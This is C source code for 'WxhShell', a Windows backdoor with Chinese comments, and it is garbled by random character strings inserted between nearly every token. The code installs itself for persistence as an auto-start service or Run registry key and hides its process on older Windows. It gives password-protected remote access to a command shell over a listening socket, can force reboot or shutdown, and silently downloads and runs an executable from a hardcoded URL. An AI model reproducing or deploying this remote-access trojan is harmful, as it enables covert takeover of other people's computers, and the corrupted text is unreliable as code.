My5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W:VX^8</ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xl,707 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {zIcEN$ ~ +aQM %~ if (!NtQueryInformationProcess) return 0; 2WUl8?f2Y }IRD! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S'(IG m4 if(!hProcess) return 0; U!
$/'Xi9 PR3i}y> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J?Bj=b ~KYA{^`* CloseHandle(hProcess); @$fvhEkrT@ :sX4hZK=G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kO/YO)g if(hProcess==NULL) return 0; zI= 9 1\aV4T HMODULE hMod; 7Hg;SK6t0 char procName[255]; OUhlQq\ unsigned long cbNeeded; GY rUB59 5cj&D74o if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LEg ?/!LIT *X!+wK-+ CloseHandle(hProcess); .npD<* &})Zqc3Lqk if(strstr(procName,"services")) return 1; // 以服务启动 G0u
H6x? [(; .D return 0; // 注册表启动 T"DG$R,Aj } |RH^|2:x9Q *7{{z%5Pu // 主模块 s54AM]a{j int StartWxhshell(LPSTR lpCmdLine) 8/@*6J { F?Fxm*Wa/ SOCKET wsl; Am<){&XT
] BOOL val=TRUE; Et'&}NjI int port=0; m~tv{#Y struct sockaddr_in door; V#+M lN p'kB1)~| if(wscfg.ws_autoins) Install(); bo#?,80L}` Lh-+i port=atoi(lpCmdLine); E~S~Ld% p#N2K{E if(port<=0) port=wscfg.ws_port; ll
^I;o0 8CUl |I ~ WSADATA data; w&Z.rB? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lvG+9e3+ IK,aA;d if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; })?KpYk setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G%dzJpC(
door.sin_family = AF_INET; &<Fw door.sin_addr.s_addr = inet_addr("127.0.0.1"); C;YtMY: door.sin_port = htons(port); 6 u,w L2%npps if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yq:+.UU closesocket(wsl); fM3ZoH/ return 1;
8#|PJc } L4<=,}KS =.IAd<C if(listen(wsl,2) == INVALID_SOCKET) { ^qtJcMK+hq closesocket(wsl); km,@yU return 1; ^@$T>SB1 } hdpA& OteR Wxhshell(wsl); /~+j[oB WSACleanup(); fS4 Ru X
CHN'l' return 0; nc?Oj
B yG<Q t+D } )gG_K$08? H284
]i // 以NT服务方式启动 v"sN
K VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~V/?/J$ { rs@qC>_C0 DWORD status = 0; {;= {abj DWORD specificError = 0xfffffff; ,ysn7Y{Y zLjQ,Lp.I serviceStatus.dwServiceType = SERVICE_WIN32; nC\LDeKc serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~Dj_N$_+9 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "9,+m$nj serviceStatus.dwWin32ExitCode = 0; ?V})2wwP serviceStatus.dwServiceSpecificExitCode = 0; u:>*~$f
serviceStatus.dwCheckPoint = 0; WE&"W$0 serviceStatus.dwWaitHint = 0; wTn" @|}=W Q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -P'c0I9z if (hServiceStatusHandle==0) return; KRh?{ {&h= status = GetLastError(); 6S?*z
`v if (status!=NO_ERROR) I_'0!@Nn7 { ^S^7u serviceStatus.dwCurrentState = SERVICE_STOPPED; AeEF/* serviceStatus.dwCheckPoint = 0; okD7!)cr= serviceStatus.dwWaitHint = 0; SI;SnF'[7 serviceStatus.dwWin32ExitCode = status; r%II`
i serviceStatus.dwServiceSpecificExitCode = specificError; 6}q# c SetServiceStatus(hServiceStatusHandle, &serviceStatus); tkEup& return; UzUt=s!^H } y_Nn%(j $c24l J#/ serviceStatus.dwCurrentState = SERVICE_RUNNING; ,8@U-7f, serviceStatus.dwCheckPoint = 0; ?N@p~
*x serviceStatus.dwWaitHint = 0; Z"a]AsG/Q# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H_7X%TvXb } /N`E4bKBR 1 =9 Kwd // 处理NT服务事件,比如:启动、停止 a\v@^4 VOID WINAPI NTServiceHandler(DWORD fdwControl) i)+2?<] { O\zGN/! switch(fdwControl) ,7izrf8 { <{Ir',; case SERVICE_CONTROL_STOP: 6Er%td)f serviceStatus.dwWin32ExitCode = 0; ]}jY]
l serviceStatus.dwCurrentState = SERVICE_STOPPED; 2bt2h.a serviceStatus.dwCheckPoint = 0; qGKQrb,K serviceStatus.dwWaitHint = 0; uM9RlI5 { \S"YLRn" SetServiceStatus(hServiceStatusHandle, &serviceStatus); #zc{N"! } L51uC ,QF return; 0x8aKq\' case SERVICE_CONTROL_PAUSE: UZqk2D serviceStatus.dwCurrentState = SERVICE_PAUSED; @|J+f5O break; ue#Yh case SERVICE_CONTROL_CONTINUE: a
|+q:g0M serviceStatus.dwCurrentState = SERVICE_RUNNING; U/bQ(,3} break; C6(WnO{6 case SERVICE_CONTROL_INTERROGATE: N}j^55M_] break; =H2.1 :' }; pZe:U;bb SetServiceStatus(hServiceStatusHandle, &serviceStatus); oyY0!w,Y } \i$WXW]| do(komP<\ // 标准应用程序主函数 _rf int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8k`rj; { YPqp#X*
mH*6Q> // 获取操作系统版本 OA3* "d* OsIsNt=GetOsVer(); . ;q4<_ GetModuleFileName(NULL,ExeFile,MAX_PATH); ?$LKn2C =e$6o 2!'} // 从命令行安装 fd Rw:K8 if(strpbrk(lpCmdLine,"iI")) Install(); F,-S&d ghd*EXrF
H // 下载执行文件 &r
Lg/UEV- if(wscfg.ws_downexe) { *eo<5YUHt if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jPf*qe>U WinExec(wscfg.ws_filenam,SW_HIDE); uM<6][^` } -O-qEQd O[[#\BL if(!OsIsNt) { yPqZ , // 如果时win9x,隐藏进程并且设置为注册表启动 .OC{,f+ HideProc(); #]!0$z|Z StartWxhshell(lpCmdLine); }$ZcC_ } idr,s\$> else +\a`:QET if(StartFromService()) xW;-=Q // 以服务方式启动 4(f4 4' ^ StartServiceCtrlDispatcher(DispatchTable); U,4:yc,)s else yEe4{j$ // 普通方式启动 tj_+0J$sw: StartWxhshell(lpCmdLine); :}Tw+S5 ,HFoy-Yq return 0; *M_Gu{xc } zp2IpYQ,3 "38ya2* wcT0XXh '_~=C-g =========================================== &T8prE? 6/Coi,om P#g"c.?; D+.h*{gD U>z8gdzu "s]c79t " rI5)w_E? \Om<
FH} #include <stdio.h> 0vs9# <&V #include <string.h> xrK%3nA4s" #include <windows.h> tndtwM*B' #include <winsock2.h> I T)rhi: #include <winsvc.h> K bY5
qou #include <urlmon.h> 1|VnPQqA `V@{#+X #pragma comment (lib, "Ws2_32.lib") *FkG32k #pragma comment (lib, "urlmon.lib") F(8>"(C p*rBT,' #define MAX_USER 100 // 最大客户端连接数 :o}Ju}t #define BUF_SOCK 200 // sock buffer !Q`GA<ikv #define KEY_BUFF 255 // 输入 buffer h,q%MZ==^s
?6!7fs, #define REBOOT 0 // 重启 PX3rHKK{ #define SHUTDOWN 1 // 关机 dE*n!@ ?#^_yd|< #define DEF_PORT 5000 // 监听端口 Dq!Vo ;s2 &WIiw$@ #define REG_LEN 16 // 注册表键长度 Z~tOR{q #define SVC_LEN 80 // NT服务名长度 8Hf!@p6R+ Nw}y_Qf{ // 从dll定义API dlC)&Ai typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (63_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <a |$Bl typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3y%B&W,sm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bmotR8d |2\6X's // wxhshell配置信息 'w`:p{E struct WSCFG { Gw*n,*pz int ws_port; // 监听端口 \+E{8&TH' char ws_passstr[REG_LEN]; // 口令 ~jb6 int ws_autoins; // 安装标记, 1=yes 0=no q"5iza__H char ws_regname[REG_LEN]; // 注册表键名 (xJ6: u char ws_svcname[REG_LEN]; // 服务名 h#?L6<*tm char ws_svcdisp[SVC_LEN]; // 服务显示名 $
+h~VC char ws_svcdesc[SVC_LEN]; // 服务描述信息 8H3|i7.1h char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #J]u3*Tn| int ws_downexe; // 下载执行标记, 1=yes 0=no 0hXI1@8]` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uYlC*z{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EZz Ox(g 1e*+k$-{ }; d_*'5Eia6 2JZf@x+} // default Wxhshell configuration -cCujDM#T struct WSCFG wscfg={DEF_PORT, D*Y4B?, "xuhuanlingzhe", #CoJ S[t 1, P=eVp(/x "Wxhshell", a3
<D1" "Wxhshell", "P=OpFV "WxhShell Service", 5C/W_H+9iK "Wrsky Windows CmdShell Service", <8p53*a "Please Input Your Password: ", , gk49z9 1, *z`_U]tP "http://www.wrsky.com/wxhshell.exe", [K;J#0V+&L "Wxhshell.exe" gk\IivPb }; 5YaTE<G DPJ#Y -0 // 消息定义模块 ~AxA , char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3(':4Tas char *msg_ws_prompt="\n\r? for help\n\r#>"; 5bX
SN$7| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
z%;b-PpS char *msg_ws_ext="\n\rExit."; 7wsn8_n9 char *msg_ws_end="\n\rQuit."; y~An'+yBa char *msg_ws_boot="\n\rReboot..."; s<[%76Y! char *msg_ws_poff="\n\rShutdown..."; ozF>2`K
} char *msg_ws_down="\n\rSave to "; S,Boutd -Zd!0HNW1 char *msg_ws_err="\n\rErr!"; 1+RG@Cp char *msg_ws_ok="\n\rOK!"; >tnQuFKg] Mo|[Muj8b char ExeFile[MAX_PATH]; d0~F|j\# int nUser = 0; W[[3'J TF HANDLE handles[MAX_USER]; sPn[FuT>+s int OsIsNt; '5.n28W> "qUUH4mR` SERVICE_STATUS serviceStatus; |GtTz& SERVICE_STATUS_HANDLE hServiceStatusHandle; t\E#8 x):cirwkl // 函数声明 jKZJ0`06q int Install(void); uPc}a3'? int Uninstall(void); r7/y'Y]O int DownloadFile(char *sURL, SOCKET wsh); j2SJ4tB / int Boot(int flag); \];0S4SBy void HideProc(void); XtVx
H4q int GetOsVer(void); wl #Bv,xf int Wxhshell(SOCKET wsl); Lt0JUUa0 void TalkWithClient(void *cs); #N_C|v/ int CmdShell(SOCKET sock); 2`I"
QU int StartFromService(void); "S.5_@? int StartWxhshell(LPSTR lpCmdLine); &U ]L@]x x?Doe`/6? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f/RzE VOID WINAPI NTServiceHandler( DWORD fdwControl ); 72R|zR yB\}e'J^ // 数据结构和表定义 Tz3 L#0:j SERVICE_TABLE_ENTRY DispatchTable[] = 0gw0 { :@{(^}N8u {wscfg.ws_svcname, NTServiceMain},
fy" q {NULL, NULL} DZ -5A }; FuiG=quY 2apR7 // 自我安装 {/G~HoY1i int Install(void) j'FSd*5m { QNn\wz_) char svExeFile[MAX_PATH]; __M(dN(^ HKEY key; F|3Te?_ strcpy(svExeFile,ExeFile); p/L|;c .dX ^3 // 如果是win9x系统,修改注册表设为自启动 awh<CmcZ if(!OsIsNt) { OAO|HH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { os0fwv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kx0(v1y3gT RegCloseKey(key); o^FlQy\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OjTb2[Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P*Va<'{:{ RegCloseKey(key); :,%~R2 return 0; ~``oKiPg@ } *Z\B9mx } $Y* d ' > } }A,9` else { 9$ZQuHSw7 |N, KA|Gdq // 如果是NT以上系统,安装为系统服务 xR}^~14Bz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ewHk
(ru if (schSCManager!=0) '4k
l$I { #v+2W SC_HANDLE schService = CreateService 7pf]h$2 ( Vc0C@*fVM schSCManager, "j-Z<F]] wscfg.ws_svcname, @-=0T!/ wscfg.ws_svcdisp, 0'q&7
MV SERVICE_ALL_ACCESS, \6AYx[| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OQ>8Q` SERVICE_AUTO_START, k?]`PUrV SERVICE_ERROR_NORMAL, VbX+`CwH svExeFile, #4UKkd NULL, OZ>w.$ue NULL, Ug(;\*yg NULL, =hD@hQi NULL, Z./$}tVUG NULL QS(aA*D ); *|WS, if (schService!=0) DmzK* O{ { lz1RAp0R" CloseServiceHandle(schService); ou8V7 CloseServiceHandle(schSCManager); <&JK5$l<X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z OwKh>] strcat(svExeFile,wscfg.ws_svcname); I)7STzlMj. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {jdtNtw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oA/[>\y RegCloseKey(key); ]mIcK return 0; ~4gOv } n}0n!Pr^ } {3,_i66 CloseServiceHandle(schSCManager); aia`mO] } HK}br!? } ].ZfTrM] @ ;T|`Y=7 return 1; RHO| g0 } 1M@OBfB8 _A]8l52pt // 自我卸载 S +wy^x@@ int Uninstall(void) >}~\*Y\8@ { s"OP[YEke/ HKEY key; rK` x< v9*ugu[K9 if(!OsIsNt) { HKB?G~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BQW hTS7 RegDeleteValue(key,wscfg.ws_regname); CG#lpAs RegCloseKey(key); AS1#_fC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M~/Pk7CC RegDeleteValue(key,wscfg.ws_regname); Z%&$_-yJ RegCloseKey(key); |:7
^ return 0; K Eda6zZH } nR%ey" } |ty?Ah,vb } /H (55^EMZ else { L
i g7Ac, 5r2A^<) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z6'Cz}%EP' if (schSCManager!=0) a7Mn/ i. {
pVm]<jO SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `GDWy^-Q+! if (schService!=0) 1>yh`Bp\= { z:Y
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if(DeleteService(schService)!=0) { w]@H]>sHd CloseServiceHandle(schService); ^Uq%-a CloseServiceHandle(schSCManager); CJa`[;i0y return 0; $Wy(Wtrx| } 8_W=)w6 CloseServiceHandle(schService); xF8U )j! } k3PFCl~e CloseServiceHandle(schSCManager); !k3 eUBF } APgjT';P^ } H^3f!\MC;o #zf,%IYF return 1; Q6 oM$qiM } ohJo1}{ zH5pe // 从指定url下载文件 n[KL Y! int DownloadFile(char *sURL, SOCKET wsh) !-veL1r { !jQj1QZR` HRESULT hr; OH
>#f6`[ char seps[]= "/"; 5FJ(x:k?z char *token; 1fH2obI~X char *file; 4j1$1C{ char myURL[MAX_PATH]; wPE\?en char myFILE[MAX_PATH]; 79*f <Gr eae `#>XP strcpy(myURL,sURL); c
8t token=strtok(myURL,seps); P#!^9)3 while(token!=NULL) {Mpx33 { sRI0; file=token; 6!Q,XHs token=strtok(NULL,seps); JT p+&NS } B"Ma<"HU Jn&^5,J]F8 GetCurrentDirectory(MAX_PATH,myFILE); Nov)'2g7G strcat(myFILE, "\\"); .fgVzDR|+ strcat(myFILE, file); O#@G
.~n? send(wsh,myFILE,strlen(myFILE),0); <dGph send(wsh,"...",3,0); OZR{+YrB^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,W| cyQ if(hr==S_OK) uXo uN$& return 0; |}o6N5) else im3BQIPR return 1; $'x#rW>v F{G.dXZZ< } H?_wsh4J i+Lqj // 系统电源模块 Xqy9D ZIn int Boot(int flag) (PC)R9r5 { |jB/d@RE HANDLE hToken; ES)@iM?5 TOKEN_PRIVILEGES tkp; 5{xK&[wR* 5m
yQBKE if(OsIsNt) { `aDVN_h{6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C"QB`f: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kQ`p\}7_ tkp.PrivilegeCount = 1; Aw]kQ\P& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1)#dgsa AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }60/5HNr if(flag==REBOOT) { | Rj"}SC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?[=OQ/E return 0; .*X=JFxl } LC4W?']/ else { ]1 jhy2j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \beYb0(+ return 0; 7Bym? } ||))gI`3a } aHdQi,=z else { Qd/x{a8 if(flag==REBOOT) { f~R+Q/Gtz` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
20]p< return 0; f@ILC=c< } YrsE
88QqI else { w$Z%RF'p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L6"V=^Bq return 0; "&/lF[q } -wr_x<7 } Am|)\/K+Z Q*hXFayx return 1; _SnD)k+TgJ } }]Nt:_UCX N9s+Tm // win9x进程隐藏模块 0DFVB%JdI void HideProc(void) [V_+/[AA) { },@ex #;=sJ[m4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Sf*gAwnW if ( hKernel != NULL ) BV6B:=E0 { CQPq5/@Y4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "A> _U<Y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L&d.&,CNs' FreeLibrary(hKernel); P;eXUF+jn } A&A{Thz ~)VI`36X return; pqTaN=R8 } dQz#&&s-
IL1iTRH // 获取操作系统版本 LLKYc y int GetOsVer(void) .%!^L#g { pfs]pDjS: OSVERSIONINFO winfo; CDPu(,^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6Jq3l_ GetVersionEx(&winfo); ~6K.5t7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M?AKJE j5 return 1; 1IlOU|4 else E3]
8(P%D- return 0; 7X)4ec9H\ } =ym<yI< w:/3%- // 客户端句柄模块
_Ie:!q int Wxhshell(SOCKET wsl) d0i|^ { n wMq~I*1 SOCKET wsh; '\GU(j struct sockaddr_in client; $fBj}\o DWORD myID; UZs'H"K pSI8"GwQ while(nUser<MAX_USER) K&,";9c { h#c7v!g int nSize=sizeof(client); Uu52uR wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >_\[C?8 if(wsh==INVALID_SOCKET) return 1; Zu<S<??Jf #G_'5{V handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9 r&JsCc if(handles[nUser]==0) xQ2:tY#? closesocket(wsh); pTB7k3g else |fW_9={1kQ nUser++; >q0%yh- }
Bnk' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n @,. cRuN; return 0; w0+X;aId } hsT&c| 7xQ:[P!G+ // 关闭 socket ?;H}5>^8P void CloseIt(SOCKET wsh) bdY:-8!3 { 6(BgnH8oc closesocket(wsh); :5.F nUser--; l^$'6q" ExitThread(0); >x3lA0m } $PI9vyS 4 R(m$!E! // 客户端请求句柄 |2%|= void TalkWithClient(void *cs) Nd+1r|e' { 89;@#9 H9PnJr8 \ SOCKET wsh=(SOCKET)cs; e(xuy'4r char pwd[SVC_LEN]; KQvSeH>r char cmd[KEY_BUFF]; hF$qH^-c*A char chr[1]; N>,`TsUwW int i,j; D,R',(3 +iFt) while (nUser < MAX_USER) { n>R(e> 77y+ik if(wscfg.ws_passstr) { Goc?HR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lSW'qgh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cJv/)hRaz //ZeroMemory(pwd,KEY_BUFF); P tLWFO i=0; d6ef)mw while(i<SVC_LEN) { \@WVeFr (ie%zrhS // 设置超时 \/?J)k3H. fd_set FdRead; 5 7t.Ud struct timeval TimeOut; *U]&a^N FD_ZERO(&FdRead); Nh_\{
&r FD_SET(wsh,&FdRead); xOAq!,|V TimeOut.tv_sec=8; zSQy
TimeOut.tv_usec=0; V-@4s}zX int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DU$#tg}{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <n 06(9BF fZ5 UFq_~s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Su"Z3gm5Kw pwd=chr[0]; c9fz x if(chr[0]==0xd || chr[0]==0xa) { bT&{8a pwd=0; W dD889\ break; #IZh}*$ } BZHoRd{EH i++; \U]K!K= } @$n
$f MO0NNVVi%U // 如果是非法用户,关闭 socket WV.hQX9P if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %" 7UYLX } Ao$k[#px !?0C(VL(: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n#b{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MiIxj%,( Fd\uTxykp while(1) { g.@[mf0r gqy>;A:kO ZeroMemory(cmd,KEY_BUFF); (C#0
ML
IPK1g3Z // 自动支持客户端 telnet标准 i79$D:PcLa j=0; *oz#YGNm while(j<KEY_BUFF) { xxvt<J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t#|R"Q# cmd[j]=chr[0]; CYgokS\=, if(chr[0]==0xa || chr[0]==0xd) { rFpYlMct cmd[j]=0; BJWlx*U] break; ; Z7!BU } &RARK8^ j++; 0VtjVz*C7& }
T`fT[BaY '~K]=JP // 下载文件 X+N5iT if(strstr(cmd,"http://")) { ].kj-,5>f send(wsh,msg_ws_down,strlen(msg_ws_down),0); "WQ6[;&V if(DownloadFile(cmd,wsh)) >pLJ ,Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8+}rm6Y+ else QrK%DN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7)jN:+4N } <i</pA else { 6`Tx meIP 9 ;p5z[jI switch(cmd[0]) { \ opM}qZ 7WS$fUBi // 帮助 YZ+G7D> case '?': { 2e%\aP`D2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GkI'. break; >9A18xC } -o%? ]S // 安装 &lSNI5l case 'i': { L7buY(F( if(Install()) uq s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4h|*r ! else TU^ZvAO& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Qd$@ m break; rIcgf1v70 } T^|k` // 卸载 eZ(ThA*2=t case 'r': { S._2..%G if(Uninstall()) z6@8IszU send(wsh,msg_ws_err,strlen(msg_ws_err),0); fm-m?= else A/2$~4, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nL=+`aq_ break; dB6,pY( } R&.&x'< // 显示 wxhshell 所在路径 _|I8+(~) case 'p': { 4%~*} char svExeFile[MAX_PATH]; we`BqZV strcpy(svExeFile,"\n\r"); LJ~#0Zu? strcat(svExeFile,ExeFile); 4E 5;wH send(wsh,svExeFile,strlen(svExeFile),0); #%nV\ Bl break; uPl}NEwU| } mbkt7. ,P // 重启 -V6caVlg case 'b': { w6!97x send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E8r6P:5d` if(Boot(REBOOT)) kh.P)h'9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0)d='3S else { T{Xd > closesocket(wsh); }wiyEVAh{ ExitThread(0); mTtaqo_Bh } EOu[X'gLr break; \DujF>: } r'{N_|:vv // 关机 6?[P^{GpH case 'd': { !xck
~EAS send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |3e+ K. if(Boot(SHUTDOWN)) ]?1_.Wjtt send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7nnF!9JOv else { u>9` ?O44 closesocket(wsh); ?ld&}|W~ ExitThread(0); hQj@D\} } q-;Y }q break; C3W4:kbau } @!dIa1Q" // 获取shell o-H?q! case 's': { aBReIK o CmdShell(wsh); tWy.Gz\ closesocket(wsh); X$6NJ(2G ExitThread(0); Rmmu#-{Y break; e&ysj:W5
" } "!zJQl@ // 退出 $k0(iFzR1 case 'x': { hJ xL|5Uo send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -V{"Lzrfug CloseIt(wsh); >Vt2@Ee break; tIDN~[1 } f#:3TJV // 离开 Y}R$RDRL case 'q': { KHZ[drb6$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); B@M9oNWHu closesocket(wsh); ~)_Nh WSACleanup(); Hh;lT exit(1); M]6+s`?r break; .kFO@: } G!$~'o%/ } Z}!'fX." } *KDTBd @;OsHudd // 提示信息 !0?o3,of- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Cm!5Q Yy } @ U=y}vi8 } W>a}g[Ad W
!j-/ql return; r craf4% } _[&V9Jt P
_fCb // shell模块句柄 s9sl*1n1m` int CmdShell(SOCKET sock) bT 42G[x { xS_;p9{E STARTUPINFO si; &zy%_U2% ZeroMemory(&si,sizeof(si)); af |mk@ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &v .S_Ym si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z(|$[GZP[ PROCESS_INFORMATION ProcessInfo; YSGE@ char cmdline[]="cmd"; BH {z]a
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0,RYO :` return 0; D^O[_/i& } _f@,)n *$%~/Q@] // 自身启动模式 ,e'm@d$Q* int StartFromService(void) B1|nT?}J( { iT==aJ=~/& typedef struct |x1OWm1:< { *B!Ox}CI.L DWORD ExitStatus; u=InE|SH DWORD PebBaseAddress; &T, ,fz$ DWORD AffinityMask;
:'Gn?dv| DWORD BasePriority; n~yHt/T ULONG UniqueProcessId; -(TC' ULONG InheritedFromUniqueProcessId; L @T/4e./ } PROCESS_BASIC_INFORMATION; of*T,MUI 5B:"$vC{= PROCNTQSIP NtQueryInformationProcess; #sCR} wnd
#J ` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .B~yI3D`M static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r~T!$Tb 1(Vv-bq$ HANDLE hProcess; `&c[s%0 PROCESS_BASIC_INFORMATION pbi; C2rG3X^~Jm ^V; r HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o`Z3} if(NULL == hInst ) return 0; `uPO+2 I-!7 EC2{! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xk|a%%O*H g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =I'iD0eR NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]_B<K5 A<c<!N if (!NtQueryInformationProcess) return 0; #g$I>\O< !b!An; ', hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k0j4P^d if(!hProcess) return 0; Ue Ci{W =:g\I6'a if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hJ8&OCR } %_:L_VD@ CloseHandle(hProcess); `TO Xktj m_Hg!Lg hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $,Xn@4 if(hProcess==NULL) return 0; [\Wl~
